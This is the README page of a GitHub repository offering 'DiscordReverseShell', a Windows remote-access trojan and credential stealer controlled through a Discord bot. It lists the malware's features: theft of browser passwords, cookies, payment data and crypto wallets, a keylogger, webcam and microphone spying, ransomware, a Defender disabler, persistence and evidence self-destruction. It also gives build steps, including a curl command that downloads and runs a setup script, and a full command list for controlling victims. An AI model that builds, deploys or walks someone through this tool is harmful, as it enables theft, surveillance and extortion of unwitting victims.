Skip to content

Josakko/DiscordReverseShell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Discord Reverse Shell

DiscordReverseShell v8.0.0

Features

  • System

    • User
    • Network
    • Screenshot
    • Webcam
    • Disk
    • Clipboard
    • Hardware
    • Wifi
    • Processes
  • Control

    • Powershell commands
    • CMD commands
    • Registry editor
    • Freeze inputs
    • Bluescreen victim
  • Fs navigation commands

    • List directory
    • Change directory
    • Download
    • Upload
    • Run files independently
    • Zip files and folders
    • FS tree
  • Browser data

    • Cookies
    • Decrypted cookies
    • Passwords
    • Payment info
    • Autofill
    • Bookmarks
    • Downloads
    • History
    • Support for any chromium based browser
    • Support for any Firefox fork
  • Crypto Wallets

    • Exodus and Electrum
  • Startup

    • Creates shortcut to malware in C:\Users\USERNAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
  • Mic

    • Live microphone
    • 24/7 recordings
  • Ransomware

    • Encrypt file
    • Decrypt file
  • Other

    • Validating token
    • Checking internet
    • Anti Debug
    • Move and run malware after running to C:\Users\USERNAME\AppData\Roaming\MicrosoftWindows\System
    • Clone its self
    • Defender disabler
    • Fake error
    • Self destruct and all 'evidence'
    • Keylogger
    • Execution delay

Usage

  1. Download builder here and UPX here and put it into C:\UPX.

  2. Setup environment, download git to clone the repo automatically or clone it manually, script in this command will skip cloning repo if git isnt installed, to install git go here then run following command in CMD:

     curl -sSfO "https://raw.githubusercontent.com/Josakko/DiscordReverseShell/main/setup.bat" && setup.bat
    
  3. Go to the discord developer portal, sign in, and click New Application. Choose any name, click accept and create. Next go to the Bot section and click Add Bot. Click on Reset Token and click on Copy button.

  • IMPORTANT: DO NOT share copied token! Others can use this to control your bot!
  1. Go to discord, and create new server. Now Right click on that server and click on Copy ID (if you don't see that option navigate to user settings then Advanced and enable Developer Mode, now you can try to copy Id again).

  2. Run Builder.exe that you downloaded in first step and make sure that you have main.py, modules folder etc. in src folder relative to the Builder.exe

  3. Enter all required info that you will be prompted to enter also make sure to have UPX installed or if you dont want to use it just select y for editing building options and disable usage of UPX there

  4. Now you will have built exe in folder src\dist\main.exe witch is relative to the Builder.exe and also dont forget to invite the discord bot to the server that you just created!

  5. When exe i ran new channel will be created in the discord server, once malware is ran you will be able to run command help to get full list of commands

Full list of commands for malware with description:

help - Help command
ping - Ping command
sys - System information
clipboard - Return clipboard content
processes - Get all running processes
cd - Change directory
ls - List directory
pwd - Get current working directory
download <file> - Download file
upload <link> - Upload file
cmd <command> - Execute cmd command
pw <command> - Execute powershell command
run <file> - Run an file
zip <path> - Zip and file or folder
wifi - Return wifi passwords
screenshot - Take a screenshot
webcam - Get image of webcam
bluescreen - Blue screen victim
startup - Add to startup
browser - Get browser data
wallet - Get wallet information
keylogger - Enable keylogger
dos 1 <ip>:<port> - DoS an IP or: dos 2 <domain>:<port>
mic - Record 120 seconds recordings of microphone and send them
join - Joins or leaves voice channel where it streams live microphone
freeze <1/0> - Freeze all inputs from keyboard and mouse
decrypt <key or keys separated by commas(",") without spaces> <file> - Decrypt an file
encrypt <number of times to encrypt> <file> - Encrypt an file
clone <path> - Clone the malware to the specified path, make sure to enter path whit name of the output file
tree - FS tree, optional: tree <path>
regedit <1 / 2 / 3> <key path> <value name> OR regedit 2 <key path> <value name> <value type: string / expandable_string / multi_string / dword / qword / binary> <value data> - Regedit: 1 - Show value, 2 - Create value, 3 - Delete value
!restart - Restart the malware
!quit - Exit session without deleting all the data
!exit - Exit session and delete all data
!selfdestruct - Remove the malware from the victims machine along whit all 'evidence'

Examples

issue

issue

issue

issue

License

This project is licensed under the GNU General Public License v3.0 License - see the LICENSE file for details

  • Selling this Free stealer is forbidden
  • If you make a copy of this/or fork it, it must be open-source and have credits linking to this repo

Need Help?

If you need help contact me on my discord server or create issue.

Contributors

Big thanks to all of the amazing people (only me) who have helped by contributing to this project!